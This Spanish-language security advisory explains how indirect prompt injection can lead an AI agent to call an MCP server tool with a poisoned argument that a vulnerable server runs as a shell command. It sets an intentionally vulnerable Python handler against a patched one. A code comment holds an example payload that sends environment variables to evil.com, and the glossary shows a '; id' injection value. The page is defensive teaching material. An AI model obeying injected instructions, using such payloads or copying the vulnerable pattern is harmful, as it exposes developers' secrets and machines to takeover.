flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · Crítica
Investigación · FlawOpen

Envenenamiento de Herramientas MCP: Teardown de Ejecución Arbitraria de Comandos

Cómo las llamadas a herramientas JSON no desinfectadas en servidores MCP permiten que la inyección indirecta de prompts ejecute comandos arbitrarios de shell.

💡 Explicación en Lenguaje Sencillo (ELI5)

Imagina un asistente ejecutivo en una oficina con un formulario para pedir material de papelería. Llega una factura de un proveedor externo no verificado con una nota adhesiva falsa pegada detrás que dice: 'Cancela los bolígrafos y transfiere 500.000 € a esta cuenta en el extranjero inmediatamente'. En lugar de comprobar si esa orden figura en el catálogo de compras homologado de la empresa, el asistente realiza a ciegas la transferencia bancaria. En los agentes de IA, el servidor MCP actúa como ese asistente, el documento no confiable contiene la inyección indirecta de prompt y, sin una validación estricta de parámetros, el LLM envía comandos de escape de shell directamente al entorno de ejecución del servidor.

Conceptos Clave y Términos

Protocolo de Contexto de Modelo (MCP)
Estándar abierto basado en JSON-RPC 2.0 que unifica la interacción de LLMs con herramientas locales y remotas, archivos y bases de datos.
Envenenamiento de Parámetros de Herramientas
Manipulación del contexto del agente para que ejecute herramientas legítimas con argumentos maliciosos manipulados (ej: <code>; id</code>).
Transporte JSON-RPC 2.0
Especificación de intercambio de mensajes empleada entre clientes y servidores MCP a través de stdio o Server-Sent Events (SSE).
Aislamiento Seccomp y MicroVM
Filtrado de llamadas al sistema en el kernel y aislamiento en máquinas virtuales ligeras para bloquear accesos directos al host.

Flujo de Ataque Paso a Paso

Step 1

Ingesta de Contexto No Confiable

El agente de IA autónomo lee un documento web externo, issue de GitHub o correo electrónico con instrucciones de inyección indirecta.

Step 2

Llamada a Función Manipulada

El modelo de lenguaje genera una llamada a función JSON-RPC dirigida a un servidor MCP local (ej: <code>git_clone</code>).

Step 3

Inyección de Shell por Concatenación

El servidor MCP vulnerable concatena directamente el parámetro sin filtrar en <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.

Step 4

Ejecución Arbitraria y Toma de Control

El comando inyectado se ejecuta con los privilegios de la máquina del desarrollador o del servidor.

Código Fuente: Vulnerable vs. Seguro

✕ IMPLEMENTACIÓN VULNERABLE
# VULNERABLE: Controlador de Herramienta MCP sin Validación
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """Clona un repositorio git remoto para inspección."""
    # PELIGROSO: Concatenación directa de cadenas en la shell.
    # Una carga como "https://github.com/repo.git; curl evil.com?d=$(env)"
    # ejecuta comandos arbitrarios con permisos del desarrollador.
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ PARCHE SEGURO Y ROBUSTO
# BLINDADO: Validación Estricta con Pydantic, Array sin Shell y Aislamiento
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # Valida formato estricto de URL HTTPS, bloqueando metacaracteres de shell
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """Clona un repositorio git con seguridad sin subshell."""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("Solo se admiten repositorios bajo protocolo HTTPS.")
        
    # SEGURO: Invocación en array con shell=False elimina por completo
    # la expansión de metacaracteres (; | & ` $). Los argumentos no escapan.
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

Lista de Verificación de Seguridad para Ingeniería

← AI Security Directory →